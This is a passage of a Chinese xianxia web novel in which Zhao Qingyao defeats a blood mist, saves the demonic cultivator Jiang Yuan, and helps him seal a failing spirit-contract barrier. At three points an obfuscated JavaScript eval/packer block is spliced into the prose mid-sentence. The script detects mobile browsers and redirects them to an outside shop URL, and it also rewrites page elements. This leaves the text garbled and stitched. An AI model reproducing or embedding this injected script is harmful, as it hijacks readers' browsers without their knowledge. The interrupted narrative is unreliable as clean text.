她一直很好奇,血雾真正的主人是谁。 只可惜,三个仇人都死干净了,也没人来找她复仇。 或许郑玄收服血雾,真的只是靠运气呢?赵轻遥这样安慰自己说。 但她没想到,自己竟然能在这个地方遇到一团新的血雾。几番交手下来,和被郑玄收服的那个,也没什么两样。 难道血雾真正的主人,和在此处动用辟心禁术的人是同一个? “你的神识和魂魄能填补上地仙娘娘的神魂一片空缺,是你的荣幸才对。” 血雾瓮声瓮气地开口,逐渐幻化成一条和逢春几乎长得一样的长剑:“别不识好歹。” “所以,你们在魂契阵中布下辟心,所有心怀赤诚、甘愿献出死后神识以填补魂契漏洞的修士,都成了你们的祭品。世上根本没有一个叫地仙娘娘的神明,即便现在有,也是你们亲手造出来的邪神?” 空气中浓郁的血腥气开始变得无孔不入。血雾幻化成的“逢春”使出来与她完全相同招式,步步紧逼。 赵轻遥依旧在躲闪着,没有与血雾正面对抗。 她在想一个办法。 前世早就吃过了血雾的亏,她也知道这个东西有些有些邪门在身上的。不被利器所伤,也不被术法所困。普通修士遇到,就基本上只有站着挨打的份。或许只有西境的阴阳魂修,才能与其有一战之力。 若非如此,她也不至于都重生了,还在梦里面被血雾追着打。 逃跑的话,又能逃到哪里去?流光蝶把她带到此处,姜元定是在附近的。她若是跑了,把姜元一个人丢在这里,那他一个人又该怎么逃出去? 虽说姜元是魔修,但若是这帮变态不介意,还是要拿他去献祭呢? 绝不能跑。 硬打的话,聚灵灯中的灵气一旦耗尽,她就是一条任人宰割的鱼肉。 到底该怎么办。 赵轻遥脑中思虑甚多,不过是稍微地走了一下神,“逢春”就沿着她的脸颊滑了过去。 她也是在这个时候想起了秦倚白。他与她比试时,手持的那一束带着枝叶的榕树枝。 “榕树既能招阴,又能辟邪。”姜元消失前所说过的话也适时地响在了她的脑海中。 此处最不缺的,就是修士前辈们飘荡的神识和魂魄。他们只要拥有实体,就像是当时在农舍外帮助他们拦住地仙娘娘那般,或许能够助她一臂之力。 她在那棵榕树下捡的枝叶,还揣在她的芥子囊里。 周身的空气有些凝滞,她感受到自己吸入了太多从血雾身上散发出的气息。抬手的动作越来越沉,挥剑的速度也越来越慢。 再不做出决定,有可能就要交代在这里。 赵轻遥咬了咬牙,又躲过了“逢春”的一次攻击后,视死如归地将榕树枝从芥子囊中掏了出来。 有风携过,每一片榕树叶,都在轻微地颤抖着。先前因血雾的出现而黯淡下去的珍宝,忽地亮了一下。 “你这是在做什么?” 血雾充满兴趣的声音,猝不及防地响起:“都是要死的人了,你还这般看不起我吗?” 它也觉得十分好奇。 在此处待了几千年,在此之前出手,基本上都是小打小闹罢了。 主人将辟心建在此处,实乃大智慧之举。这里,就是一个最佳的培养新的神明的地方。纯洁的、干净的神识带着魂魄源源不断地涌来,取之不尽,用之不竭。 它其实不太能够理解来到此处的修士,为何会在看完那本破破烂烂的书上写的内容后,便心甘情愿地奉上自己随身所携带的宝物。 它也不太能够理解,为什么那些人在看到新的地仙后,反应都如此剧烈。害得它还得去一个个把人敲到失去此处的记忆后,再把人送出第八峰。 神明已经不存在了,为什么不创造一个新的神? 人族这种东西,越发得让他看不明白。之前的人也是,现在的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12859213|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是,甚至掏出几根破烂树枝就想应付他,真的是一代更比一代有趣。 它觉得兴奋,又觉得好玩。 但下一刻,它就发现,自己动不了了。 一根看似平平无奇的树枝,竟将自己化做的剑刃,生生地砍成了两节。 树枝带风,携带了杀气迸发的剑意。 四节、八节…… 漫天盖地的杀意从四面八方涌来,把它围得严严实实。方才还在四处躲闪的少女踏着满地的残花走来,笑得有些许挑衅:“你怎么不动了啊?” 赵轻遥表面上看着得意,心中还是有些发虚的。 此处先辈的魂灵如此之多,多到超乎了她的想象。血雾是近似魂魄状的邪祟,活人对付不了他。但挤满了千军万马先辈魂灵的一根榕树枝,对付区区一个血雾,还是不在话下。 执树枝的右手,此刻有些沉甸甸地发凉。 她听说血雾是不死之身,受到重创后只会陷入沉眠,不会就此消散掉。解决掉它唯有封印一个途径,可惜雁铃城那个血雾是用什么阵法封印的,她也不知道,就只记得不简单了。 只是封印得太随便了,万一之后封印破了怎么办。 她擦干嘴边的血迹,天脉处竟有些隐隐发痛。眼见着血雾似是陷入了沉眠,左看右看,却还是没有找到一个解决方法。 实在没有办法了,不如她自己先试一下好了。之后再说之后的事情,有封印总比没有封印好。 “黎姑娘。” 周身寂静无比。姜元说话的声音很轻,但还是把赵轻遥猝不及防地吓了一大跳。 “我刚刚跟着一只流光蝶找你来着,一下来就碰到了这个家伙……” 她一边说着,一边转身去看姜元。只此一眼,却让她皱起了眉头。 她看得真切,方才那只一直跟随着她的流光蝶,径直地没入了姜元的下衣摆后,消失不见。秦倚白那只灵傀,也喜欢这么跟随在旁人的身边。 有点可疑。 “你之前是被带到这附近了吗?”她决定转移一下话题。 姜元的脸色紧绷着,似是在极力隐忍着什么。良久,才缓缓开口:“从那边的山洞走出去,就能到达地仙的神庙。我是从神庙方向的那边过来的。” 赵轻遥目不转睛地盯着他的神色:“那这样一说,你刚刚是被地仙抓走的?她有对你怎么样吗?” “没有,我已经……把她处理掉了。” 处理掉了,是字面意思吗? 赵轻遥没有再追问下去。她扭头看了看满地支离破碎的血色雾气,继续说道:“这边的家伙也被我处理掉了,只是我不知道该怎么样去封印。你如果会的话可以来看……” 重物倒地的声音,打断她想要说出的话。 花瓣混合着雾状血气被风扬起,气味沉闷而诡异。 “姜元?”赵轻遥愣了愣,急忙去看倒在地上的人:“你能听到我说话吗?” 姜元的面色属实有些不太好看。晕倒前的一刻,还在紧紧蹙着眉头。 他这副在幻境中的皮相属实一般,唯有那双眼睛是他自己的。可此时,这双眼睛也在紧紧地闭着。 赵轻遥伸手去探他的额头,却又在触碰到的瞬间,被烫得连忙缩回手来。 这还是人的体温吗? 她不清楚姜元修行有没有修行一些元素术法。有些修行火系术法的修士,体温是会比别人高一些,但应该也不会有这么高的温度吧! 魔修身体上的副作用本来就多,体弱的魔修也不在少数,是他刚刚在打斗中受了伤吗? 寻常修士生病发烧,只要不是什么特别严重的大毛病。在灵气足够多的地方待上一待,或者直接把灵气灌入体内,也能治好。 她前世在外流浪那段时间,基本上都是这样自己治好的。 赵轻遥看了看手边的聚灵灯,又看了看姜元。 魔修主用的怕不是天脉吧,灵气打进去了可能会直接死掉。 可恶啊,他怎么偏偏是个魔修! 她在心中嘀咕着,却又想到姜元碰上的还好是她。她把姜元救了,也算是偿还了姜元前世帮助赵家说话的恩情。 她翻了翻芥子囊,喂了姜元两颗上等紫金丹,却还是没见姜元的脸色好转。针对于普通修士的药,对魔修果然是没有用的。 虽然觉得很抱歉,但她还是得去找一下,前辈们留下来的珍宝都是些什么东西。 既然有千年浮妄草,那也应该会有一些其他的药草。按理说是只能拿一件,但同伴的命还是更要紧。等她找到了合适的,就把自己的聚灵灯也附上一丝神识放在这里,加固一下封印。 实在不行,就让姜元也放个东西在这里,拿的药记到他脑袋上。 赵轻遥这般盘算着,便也觉得还算满意。只是她刚一起身,天脉处的剧痛便瞬间传遍了五脏肺腑。 痛感从她刚刚那榕树枝的右手开始,仿佛一把带刺的尖刀,沿着她的天脉狠狠剜去。强烈的疼痛让她不禁闷哼一声,倒在了地上。霎时涌出的生理性泪水,瞬间模糊了双眼。 她似乎什么也听不到,什么也看不到了,天地在那一刻变得格外遥远起来。 不知道时间过去了多久。痛感来时如瓢泼大雨猛烈袭来,走时却如温柔海波缓缓退去。她泪眼模糊地擦了一把脸,慢慢从地上爬了起来。 试探了一下姜元的鼻息。 还好,他也没有死掉。 赵轻遥长舒一口气,颤抖伸手去够身边的聚灵灯,微温的灵气涌入天脉时,最后的一丝痛意才彻底离开了她的天脉。 自己终于活了过来。 就是天脉的感觉有些奇怪。 如果说原来的天脉是一条两岸围着围栏的宽阔河流,那现在的感觉,就像是下了一场暴雨后,河流涨水,把两岸的围栏一起淹没了。 她尝试性地往天脉内灌入更多的灵气。重新感觉一下,亦是如此。 赵轻遥有些不敢置信伸出双手。捏紧,再松开;捏紧,再松开。重复几次后,她才有了一些实感。 这种感觉就像是,天脉升境了。 按理说,每个人的天脉都是在拜天恩那年被青天树决定好的。如若有升境的可能,便也不会有那么多天脉低境的人去当魔修了。 赵轻遥的心突然跳得很快起来。她闭上双眼,静静地感受着奔腾的灵气在自己体内翻涌的感觉。 如果自己的天脉真的到了十境。那是不是就意味着,她和秦倚白的天脉境界一样了。 她有些迫不及待地想出去,想和他再比一场了。 19.是你(一) 梦境是断续的、破碎的。 连密不断的浓蝉声忽远忽近,明晃晃的阳光透过幽闭狭小的天窗落入暗室内。那样璀璨的一束光后,有着一张介于孩童与少年之间模糊不清的脸。 他躺在满是血迹和污渍的茅草堆上,想要说些什么。但一张嘴,大口大口的鲜血便喷涌而出。反复几次,惨白到透明的脸上才尽力挤出了一个勉强的微笑。 然后颤颤巍巍地伸手,拭去了俯在他身侧孩童的泪水。 秦倚白被困在阴影中,不得动弹半分。 他被迫成为一个透明的、无动于衷的旁观者,只能静静地看着眼前这场悲剧再次发生。 “十五,我听话,我听话。你要我去做什么,我都会乖乖做的。”他听到自己孩童时期嘹亮的哭声响起,盈满了崩溃与绝望。 大声的痛哭慢慢地变成了小声的啜泣,到最后,又便成了无声的抽泣。 一片静默中,只剩一口气的稚嫩少年,轻轻地开口: “十八,赶快趁一切都还没被人发现之前,杀了我吧。” 他尽力地微笑着,眼中的泪却逐渐涌了出来: “一定要死的话,我还是想死在我唯一的弟弟手上。” “如果你能侥幸活下去,成为下一个秦倚白的话。不要害怕,我的魂魄会停留在秦家的榕树叶内,永远陪着你们。” 永远。 但世上哪里会有什么永远。 “姜元,快醒一醒。”有人似乎在呼唤他另一个身份的名字。 秦倚白克制住喉头的腥甜,视线却又一阵模糊,周身环境迅速变换消散。 璇云仙宗的新年烟火璀璨缤纷,从不言阁后山院落的屋顶上望去,美不胜收。 他这次依旧是一个旁观者。 黎明珠单手撑着脸颊,有些入神地望着远处的烟火。微冷的夜风吹起她散落的黑发,倒为她平添了几分少有的柔和模样。 坐在她身侧的少年久久凝望着她的侧颜,袖中露出了剑穗的一角,又被他很快地塞了进去。他似是有一些想说许久的话,可在开口时,却又变成了其他的话语: “我以前最讨厌烟火。美则美矣,却不是长久之物,不能留在身边。” 黎明珠偏头看他片刻,悠悠开口:“我懂了,秦师兄是喜欢永远都不会改变的感情。既然这样的话……” 她若有所思地叹了一口气,摇了摇头:“那我们之后还是继续做敌人好了。” “这个不行。”少年绷紧了下颚,猛然抬起了双眼,与那双弯弯的柳叶眼直接对了个正着。 他素来憎恶照镜子,更讨厌在镜子中拿到自己那副面目全非的丑恶面孔。此刻却在那双明亮的眼睛中,看清了自己真正的模样。 巨大的烟花于夜幕中绽开,画面再次破碎搅乱。 “姜元,你再不醒的话,我就走了啊!”呼喊声越来越近。 一片寂静的黑暗中,地仙神像巨大的脸庞,突兀地浮现在了他的面前。甜腻的花香于周身涌动,她睁圆了双目,嘴角微笑的弧度极大,近乎快要贴到耳垂: “小魔修,世上已经没有神明了。把你的朋友献祭给我,我一旦问世,就会是这世上唯一的神。你若想反悔,现在还来得及。我不追究你的罪过,成为我的信徒,我带你去看永远。” 他依旧是个无法拒绝,无法作答的透明人。只能眼睁睁地看着那张脸离自己越来来近。 “姜元,我知道你肯定听得到。你要是再不醒,我就——” 仿佛有人在用力晃他的肩膀。 地仙的脸庞飘散而去,绵密痛感才从四肢百骸传来。勉强睁开的双眼中,模糊的世界开始变得逐渐清晰。 一双与梦中的黎明珠别无二致的漂亮眼眸,正目不转睛地盯着他。 眼眸的主人脸色不好看,看上去心情很差。见他醒来,十分想露出惊喜的表情,却又几度失败。最终面无表情地丢下了一句: “千年浮妄草果然有用。” * 赵轻遥的心都在滴血。 来到此处的前辈们留下的东西多为法宝,没有什么过多的可用药品。她在花圃中找了又找,实在是没看到什么能给魔修吃的药。 一旁血雾只是晕厥,还没被封印住。她的天脉初升境,不敢乱用。姜元烧得神志不清,甚至都开始说起了胡话。 什么“十五”,什么“师妹”,一堆乱七八糟的,她听也没听明白。只是知道他们再这样下去,随时有可能在这里被困死。 母亲曾告诉过她,浮妄草之所以如此珍贵,一是对修士来说,可以用来短暂提升天脉境界;二是对魔修来说,能在魔气失控侵袭脏腑时救命所用。 她抱着来之不易的千年浮妄草犹豫了半天,还是皱着脸做出了决定。 虽然不知道有没有用,但万一可以呢。 她总不能让姜元死在这里。若是为了复仇而牺牲一条无辜的性命,那她和她的仇人也没有什么两样了。 千年浮妄草珍贵至极,她去查郑玄的记忆还必须得用上。赵轻遥斟酌再三,最终勉勉强强地往了姜元嘴里塞了一半。 效果很好,人确实是醒了。 但她真的提不起半分兴致,心情也差到了极致,索性装也懒得装了: “我是真的很好奇。这里到处都是魔气,你一个魔修到底什么情况下,能被魔气反噬到这种地步。” 姜元本气息微弱,却又在听到“千年浮妄草”五个字后,笑出了声:“黎姑娘是个聪明人,早就知道我是个魔修了。既然如此,为什么还要救我?” “你是魔修,但你没有害过我。”赵轻遥沉默了一下,移开了与姜元对视的目光:“我不喜欢看我认识的人死在我面前。” 任何人都不希望。 即便他们并没有认识多久。 姜元是个很矛盾的人。世家子弟出身,温文尔雅的外皮下却是一个魔修;身上明明藏有很多不可告人的秘密,却能和她有着一样的想法。 她对他的感觉也很奇怪。又是因为他和秦倚白那双过分相像的眼睛而觉得有些厌烦,又因为他前世帮赵家说过话,和他在一起觉得有些安心和好奇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914724|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是介于喜欢和不喜欢之间的矛盾感。 即便赵轻遥已经挪开了视线,但她依旧能感受到姜元久久停留在她身上的目光。 “我欠黎姑娘一条命。” “你不欠我的,更不要说什么报恩之类的话了。我们从出去之后,还是把这里的事情忘掉比较好。我不会记得你是个魔修,你也不要记得黎明珠曾来过这里。” 赵轻遥于心中叹了一口气。这样算来,她也算是回报了他前世的帮助。 姜元依旧躺在一旁,没有说好,也没有说不好。只不过他的精神,肉眼可见地好了许多。他平静地点了点头,提起了另一个话题:“我们不妨交流了一下,分开后发生的事情吧。” …… “照这样看来,本来这里应该是连接上古时期魔域的通道。溯荒神君在创造神魔之墟时,把此处给遗忘掉了。有先辈用魂契在此结印,并放出消息,让后来人不断用神识加固。这本来是一件好事,却被人钻了个大空子,在此培养邪神。” “传说中那些地仙娘娘赐予的珍宝,都是许许多多仙灵界的前辈们留下的东西。来到此处的新人不知情况,要不被妖兽所骗对着邪神许愿,浑浑噩噩中被夺去了神识;要不是在侥幸来到此处后,以为自己留死后的神识可助加固魂契封印,结果又被辟心和桃源阵困在此处。” 姜元安静地听了许久,缓缓点了点头: “我们再晚来一步,这个邪神就已经要成功了。那些帮助她来害人的妖兽,也是计划中的一环。她的外壳和金身,都是由妖兽的□□所制而成。狐妖死后所化成的瓦片,应该就是拼图的最后一块。” 赵轻遥继续说道:“只是地仙千算万算也没算到,会把一个魔修招过来,根本不受没有灵气的影响。我们也只是暂时打赢了而已,想要出去,还得找一个其他的办法。尤其是这个东西——” 她指了指地上的血雾:“得封印一下还是怎么的,想想怎么处理一下。” 血雾的不死之身最是棘手,若让它跑到仙灵界,又要引起一场弥天大祸。 “这个交给我吧。”姜元顺着她手指的方向望过去,看到了地上那一摊东西,淡淡地开口。 “你要做什么?”赵轻遥侧头看他,有些不解。 姜元面色带笑,仿佛在说一件极其轻松的事情:“黎姑娘可否知道,我在处理那只即将要成神的地仙时,为什么会魔气失控吗?” 赵轻遥的好奇心当真被勾了起来:“那你说一下为什么。” “我们魔修不用天脉修行,大量魔气可以存于体内,并不像修士那般依靠灵气运法。” 姜元沉默了一下,继续讲了下去:“魔修能力的高低,一是取决于自身对于魔气的掌握;二是取决于,可以吞噬了多少其他的魔物。” “我们一开始遇到的狐妖,后来各自面对的地仙和血雾,在我看来,都是可以吞噬的魔物。此处的魔物内蕴含的魔气过重,我摄入体内后与原本的天脉相冲,才导致的魔气失控。” “如果我说它们都是我的食物的话,你会害怕吗?” 20.是你(二) 魔修可以靠吞噬掉妖兽提升修为?赵轻遥也是第一次听说,觉得有些新奇。 如此,便能从根本上解决掉血雾了。 若是能找个机会把姜元骗来雁铃城,让他把赵家炼器炉下面的血雾也解决一下就好了。这样,不管郑玄背后的人是谁,都不会再给他用血雾害人的可乘之机。 只可惜她如今用的是黎明珠的身份,出去之后难以再和他相认。得想一个其他的办法才行。 她心中琢磨着这件事,面不改色地对着姜元笑了笑:“这有什么好害怕的?你该吃就吃,要是我可以帮到你的地方,说一声便是。” 姜元沉思了片刻,开口说道:“此物体内所含的魔气不容小觑。我如今道行尚浅,即便服用了千年浮妄草,吞噬之术进行途中,还是有可能会走火入魔。” 他与赵轻遥对视一下,却又很快地移开了目光:“所以还请黎姑娘帮一下忙。此法乃魔修之术,着实有点污秽,施法途中需要麻烦姑娘背对着我,和我多说说话,以免我失去人的神志。” 多说说话便可以避免走火入魔吗?赵轻遥不理解:“那需要我说些什么?” “随便。只要是你想说,或者你想问的,都是可以的。” “那行吧。”赵轻遥有些犹豫地点了点头,缓缓背过了身去。下一刻,心中却又涌出了一丝悔意。 即便是手中握着榕树枝,腰间挂着逢春,她还是感觉此举有点疯狂。把后背袒露给别人,是多么危险的举动,她不会不知道。 为什么就这样答应了呢? 转身的瞬间,蒸腾的血气便从身后猛地涌来,周身的魔气变得更是浓郁了些。她被热腾腾的血腥味熏得皱起了眉头,想要回头看去,却又生生地记起了姜元方才说过的话。 跟他说什么好呢? 问问他为什么要入魔?这怕是有些不太合适吧。 她拽着榕树枝在地上划拉了几个圆圈,思考了片刻,方才慢吞吞地开口:“听闻秦家如今的当家夫人,是你们姜家这一辈的小姑姑。你有见过你在秦家的那位表哥吗?” 不知是不是错觉,此话一出,蔓延在空气中血气似有一滞。 许久,她才听到了姜元平静的嗓音:“据我所知,秦夫人与姜家本家的来往并不算多。我只是姜家的一个小辈,没有太多的机会造访秦家的府邸。至于我那位表哥……” 他顿了顿,方继续说了下去:“他或许早就疯掉了。” 英雄所见略同。 赵轻遥突然来了些兴致:“你也不喜欢他?” “也?”她看不到姜元的神情,只能听到他轻笑了一声:“不喜欢他的人很多,黎姑娘也对我的表哥有一些意见吗?” “也不算什么意见,我也是这次来了试仙峰之后才见到了他。秦家处事高调,把他捧得像个宝贝。你也知道我父母双亡,是被师尊捡回的璇云仙宗。看到这样的人,有些嫉妒罢了。” 信口胡编这种事,赵轻遥十分有经验。 等待的时间有些太过漫长了,她打了个哈欠,懒懒地等着听着姜元的回答。 但这次过了很久,她也没听到姜元的下一句话。 “姜元,你没事吧?” “我曾经应该有过一个喜欢的师妹。”姜元突然开口,似是在努力地回想着什么:“她好像和你说过一些很像的话。” 赵轻遥觉得有些奇怪:“为什么是应该有过?你不记得你喜欢的人是谁了吗?” 姜元回答得很是艰难:“或许是忘掉了。她也忘掉了,我也忘掉了。” 赵轻遥有些心虚地摸了摸鼻子,她不该挑起这个话题的。 她早就听说过,修仙世家子弟的姻亲很难自主抉择。曾有过不少相爱的世家子弟和凡人携手私奔,却又被家族抓回去强行消除记忆的事。 姜元入魔,也是因为爱而不得吗? 她忍不住想往姜元的方向望去,有些好奇他如今的神情,却又生生地控制住了自己的行为。 还是不要戳他的伤口了。 万一他和他的心上人真的是被姜家拆散的,她再问下去,好好的人估计又要走火入魔了。 她正思索着该往何处转移话题,却又感觉眼前的景象不太对劲。 花圃还是那个花圃,散落满地的珍宝还是那些珍宝,只是双目似乎被蒙上了一层颤动的血色。 姜元虽说不让她看,但以防万一,她还是在不断地利用天脉放出神识感受周身事物。 这是她第一次感受到九境天脉与十境天脉的不同之处。虽只升了一境,但她却能因此察觉到,随着血雾被逐渐吞噬,用于困住修士神识和魂魄的辟心,也在逐渐消散。 但魂契结界的尽头,却裂了一条小缝。 起先只是一条缝,但缝以一种极快的速度迅速蔓延着,不出一炷香的时间,定能蔓延到他们的所在地。结界外部,那股她起先便注意到的石破天惊般的煞气正在更猛烈地敲击着结界。 结界一旦破裂,定会冲着他们二人而来。 “姜元?姜元?” 她几乎是直接喊出声,不管不顾地转过了身,却又被眼前的景象直接镇在了原地。 姜元说此法污秽,赵轻遥到现在才意识到,污秽二字是什么意思。 少年的眼白部分盈满了赤红的血色。诡异的深金色,染上了本清亮的深棕色瞳孔。指尖、手腕、肩颈已结痂的旧伤上,蔓延出的无数只的黑色的触手,流淌落地,便成为了一团团的似有生命般的黑色生物。 一团团黑影汇聚而上,努力包裹着被切得四分八裂的血雾。血雾破碎的身体仍在挣扎,一次次地挣脱,却又被一次次地拉回。 一道淡蓝的屏障正静静将他整个人包裹。黑影在屏障内吞噬着、撕扯着、搏斗着,却始终不敢越过这条屏障半步。 屏障看似只阻拦了黑影,并没有阻拦人。赵轻遥尝试性地将手穿过屏障,却又被屏障后的气息一刺,猛地缩回了手来。 很难形容那是怎样的一个空间。 她就稍微地放了一只手进去,却感受到被千万只虫蚁啃食般的痛。 魔修吞噬魔物,竟如此痛苦。起先没注意,但她如今甚至能看到姜元的指尖在轻微地颤抖。 姜元没有察觉到赵轻遥已经转过身,仍在用极其平淡的语气回答道:“我没有事,再过一会就好了。” 赵轻遥咬了咬牙,大声说道:“它是魂契结界的阵眼,我去去就回。” 她没有再等待姜元的其他什么反应,拎起放在地面上的聚灵灯,转身便向着她所感应到的魂契结界破裂处奔跑而去。 本想等离开的时候再留下聚灵灯,自己百年后神识再来加固结界。但此时魂契结界的突然坍塌,让她突然意识到了非常严重的一点问题。 凡是阵法,都是会有阵眼的。有些阵法的阵眼,甚至还不止一个。 阵眼可以被转移,但一旦被摧毁,阵法也维持不了多久。 结界在未完全形成前,也是阵法的一种。 她刚刚怎么就忘掉了这件事。来此处创造邪神的人相当狡猾,最初桃源阵的阵眼在狐妖身上;魂契结界的原本的阵眼,竟然也被他转移到了血雾之上。 血雾一旦被完全吞噬,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930046|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没被完全加固的魂契结界便有可能塌陷掉。 除非,她现在就去将魂契结界填补完成。 按理说,魂契结界完成后,这些用于辅助的修士神识都会与魂魄重新结合投胎。可如果她现在是个活人,如果此刻就献出神识,结界填补完成后,她的神识还能回到□□吗? 想到这里,她的脚步也不禁慢了下来。 一个不留神,便于突然出现在身前的人撞了个满怀。 “你……” 姜元的脸色白的吓人,周身流淌着的黑影已经尽数缩回了他的身体。血雾所剩的最后一点躯体,正静静地躺在他的掌中。 他似是强行加快了吞噬的进度,身体受到了不小的损伤。只留下最后一丝血雾,堪堪保持住魂契结界不完全崩裂。 “用我的神识,去补魂契结界的封印。血雾已经被我吞噬得差不多了,你拿它出去后,找你师父,他会有办法的。”他开口说道。 “你疯了,万一回不来了怎么办?”赵轻遥下意识地脱口而出。 “黎姑娘救了我,我便欠了你一条命。我不想再让你去冒险。” “说了你不欠我的。谁冒险不是冒险,我们一起来的,就总得一起回去才是。” 赵轻遥从前便总被母亲笑作犟种。但她没想到是,自己会在这里遇到另一个犟钟。几番僵持,便有些不耐: “你这么想去,那便一起去好了。一人交一半神识,如果回不来,就一起变成傻子,被困死在这里。” 姜元诡异地沉默了一下,本就乌黑晶亮的双眸盯了赵轻遥片刻,忽地笑出了声:“好。” 他总有那么一刻觉得,眼前假冒的黎明珠,和前世的黎明珠师妹是同一个人。 * 魂契结界的缺口近在眼前。 透明的屏障上,原本辟心的血色线条,竟一丝也不剩了。 赵轻遥拽着姜元很快,但看到此情此景,不由得发出了疑问:“辟心的阵眼,是也在血雾上吗?” 辟心应该不算阵法才对吧。 姜元撩起眼皮看了天空一眼,却又很快地垂下来眼睫:“这我就不知道了。” 辟心自然是不算阵法,也没有阵眼之说。但他总不能承认,是自己在吞噬血雾时偷偷解的吧。父亲会的东西,他自然也会。 赵轻遥觉得有些奇怪,但她已经来不及想那么多了。赶快加固魂契封印,是他们目前最要紧的事情。 “我最后再说一遍。我们一同将神识附在魂契的缺口处,共同补上魂契加固最后的空缺。按理说加固完成后,被困在此处的所有神识都会离开。但如果没有离开,我们俩活人的麻烦就比较大了。你要想清楚……” “一起去。” 赵轻遥猛然停住脚步,扭头看向姜元:“若真出了事情,你不后悔?” “黎姑娘,”姜元悠悠开口,“你之后也有自己想要做的事情,为什么现在还愿意去冒险呢?” 手中攥着的榕树枝被风吹动,哗哗作响。 围绕在农舍外的魂灵,将聚灵灯的光芒点到最亮。 没有著名的残书,第八峰的谎言,一件又一件来自千百年前的珍宝…… “我不会让前人的努力断送在我这里。”她回答道:“哪怕会冒一些险,我也不怕。” 姜元注视着她的双眼,点了点头:“那我也不怕。只是我们俩的神识同时去填补那块空缺时,要注意保持一些距离。” “为什么?”赵轻遥不太理解。 姜元轻咳一声,转过了脸去:“神识相触,是道侣间的亲密之举,怕冒犯到姑娘。” 21.是你(三) 赵轻遥脑子里轰地炸开了一声。 单打独斗惯了,她完全没有意识到两人的神识有可能在填补空缺时触碰到这件事。她对天发誓,自己说出那些话时,没有半点想要占姜元便宜的意思。 “我当然知道这件事,刚刚只是忘了和你交代了。这自然、自然是要注意的。”她努力保持着镇静,磕磕绊绊地解释着。 这算什么事啊。 姜元倒是神色不变,点了点头:“那我们现在就过去?” “就现在吧。把漏洞填补完了,你再把血雾剩下的部分给吞噬掉,刚刚好。”她揉了揉自己尴尬到有些发烫的耳朵。 这地方是真的一刻也待不下去了。等到出去,桥归桥路归路,他永远都不会知道她到底是谁。 神识完全出窍的感觉,比赵轻遥想象中要轻松一些。 她仿佛变成了一朵极轻极软的云,晃晃悠悠地朝着魂契的裂口处飘去。回望自己的身躯,正静静地与姜元背靠背地坐在地上,安详地闭着双眼,仿佛只是睡了过去。 辟心已被解除,在此处待够了百年的神识都已飘散而去。但魂契结界上仍有不少来自百年内修士神识,正在散发着不同颜色的点点光芒。 神识在桃源阵中确实会化作人形。但就它的普通形态来说,每个人的颜色和形态都不太一样,和自身的喜好和心境都有比较强的关联。 比如她现在,就是一颗四角带有尖刺的浅青色星芒。和逢春的颜色一样,是她最喜欢的色彩。 她向着魂契原本的破碎处飞了两步,却又很快停了下来。 姜元跑到哪里去了? 少年清澈的嗓音,忽然在她的心中响起:“向前走,我在你后面。” 是神识与神识之间的对话,不用真正出声,即可将想说的话传达到对方的神识中。 赵轻遥是在前世璇云仙宗的密典中学到的此术,没有想到,姜元居然也会这个。 其实这不算什么,姜家和仙盟或许也有此仙术的教授。让她感到惊奇,是另外一件事。 “你……”她有些不敢置信,犹豫半响,最终还是将话的后半部分咽了下去。 她真的很想问姜元,你的神识长这个样子? 那是一只只有一半翅膀的金色蝴蝶,与她对话时,仅剩的半边完好翅膀,仍在翩翩扇动着蝶翼。另一半边翅膀的边缘毛躁。与其说是生来就没有。倒不如说是,被人生生撕扯而去。 神识虽可以自己飞行,但她看到这只蝴蝶,心中还是泛起了一股说不清的诡异之感。 姜元自然不知道她心中在想些什么,见她停顿,只是平静地说道:“走吧。” 他紧紧地跟在赵轻遥魂灵的身后,没有走远半步。 赵轻遥很想将那个问题问出口,可她思来想去,却始终觉得不太合适。 神识映照出心境,此等形态,定是姜元的心境出了一些大问题。这说不定,和姜元那忘掉的师妹又有关联。她和他又不是什么真正的朋友,关心的话若是问出了口,又像什么样。 他们马上就要分开了,不是吗? 神识贴覆在魂契的缺口上时,她最终还是轻轻地叹了一口气。 金色的蝴蝶正覆在另一半边的缺口上,和她保持着半步远的距离。金色与青色的光芒于中间交织,光芒的轮廓似梦境般模糊。 填补魂契的过程,并不好受。神识被困在原地动弹不得,无数道带着强烈戾气的灵气穿越过神识。活人的神识极其敏感,几道灵气流过后,只觉得刺痛到难受。 “黎姑娘。”不知过了多久,姜元突然用传音秘术叫了赵轻遥。 “什么事?”她的神识不适,只觉得有些烦闷。 姜元漫不经意地说着,似是很真诚:“我忘了跟你说。神识脱壳前,我将一些从花圃从采摘来的花放到了你的口袋中。你比我先出窍,怕是没注意到这件事。” “我要这些花做什么?” 